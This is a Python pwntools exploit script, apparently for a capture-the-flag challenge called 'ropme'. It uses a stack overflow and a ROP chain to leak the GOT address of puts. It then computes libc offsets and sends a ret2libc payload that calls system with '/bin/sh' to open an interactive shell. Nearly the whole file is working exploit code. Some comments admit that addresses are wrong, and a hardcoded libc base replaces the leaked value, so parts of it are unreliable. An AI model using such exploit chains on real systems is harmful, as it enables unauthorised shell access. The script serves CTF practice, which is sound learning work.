text: #!/usr/bin/env python
  import pwn
  
  # pwn.context.log_level = 'critical'
  
  elf = pwn.ELF('./program')
  
  plt_puts = elf.symbols['plt.puts']
  got_puts = elf.symbols['got.puts']
  main = elf.symbols['main']
  ret = 0x8049022  # gadgets try ROPgadget
  
  pwn.log.success('plt.puts: {}'.format(hex(plt_puts)))
  pwn.log.success('got.puts: {}'.format(hex(got_puts)))
  pwn.log.success('main: {}'.format(hex(main)))
  pwn.log.success('ret: {}'.format(hex(ret)))
  
  payload = ''
  payload += 'A' * 172
  payload += pwn.p32(ret)
  payload += pwn.p32(plt_puts)
  payload += pwn.p32(main)
  payload += pwn.p32(got_puts)
  
  open('payload-step1.txt', 'w').write(payload)
  
  p = elf.process()
  line = p.recvline()
  p.sendline(payload)
  line = p.recvline()
  
  open('leak.txt', 'w').write(line.strip())  # try hexdump here
  addr = hex(pwn.u32(line.strip()[0:4]))
  leaked_puts_got = int(addr, 16)
  
  """
  libcdatabase = '../../../../../../../ctf/hackthebox/pwn/COMPLETE_xero-ropme/libc-database'
  find = pwn.process(argv=['{}/find'.format(libcdatabase), 'puts', addr[-3:]])
  result = find.recvline()
  libc = re.findall('id ([^)]+)', result)[0] # make sure here is 32 bits (the correct libc)
  
  dump = pwn.process(argv=['{}/dump'.format(libcdatabase), libc, 'system', 'puts', 'str_bin_sh'])
  result = dump.recvall()
  
  
  find your libc: `ldd program`
  
  find the offsets: `readelf -s /lib32/libc.so.6 | grep -E ' (puts|system)@'`
                    `strings -t x /lib32/libc.so.6 | grep 'bin/sh'`
  """
  
  offset_libc_puts = 0x67e30  # int(re.findall('offset_puts = (.*)', result)[0], 16)
  offset_libc_system = 0x3d7e0  # int(re.findall('offset_system = (.*)', result)[0], 16)
  offset_libc_sh = 0x17c968  # int(re.findall('offset_str_bin_sh = (.*)', result)[0], 16)
  
  libc_base = 0xf7dd1000  # leaked_puts_got - offset_libc_puts
  system = libc_base + offset_libc_system
  sh = libc_base + offset_libc_sh
  
  pwn.log.success('leaked puts got addr: {}'.format(hex(leaked_puts_got)))
  pwn.log.success('libc addr: {}'.format(hex(libc_base)))
  pwn.log.success('system addr: {}'.format(hex(system)))
  pwn.log.success('sh addr: {}'.format(hex(sh)))
  
  payload = ''
  payload += 'A' * 172
  payload += pwn.p32(ret)
  payload += pwn.p32(system)  # this is not the right address
  payload += 'JUNK'
  payload += pwn.p32(sh)  # this is not the right address
  
  open('payload-step2.txt', 'w').write(payload)
  
  line = p.recvline()
  p.sendline(payload)
  p.interactive()
  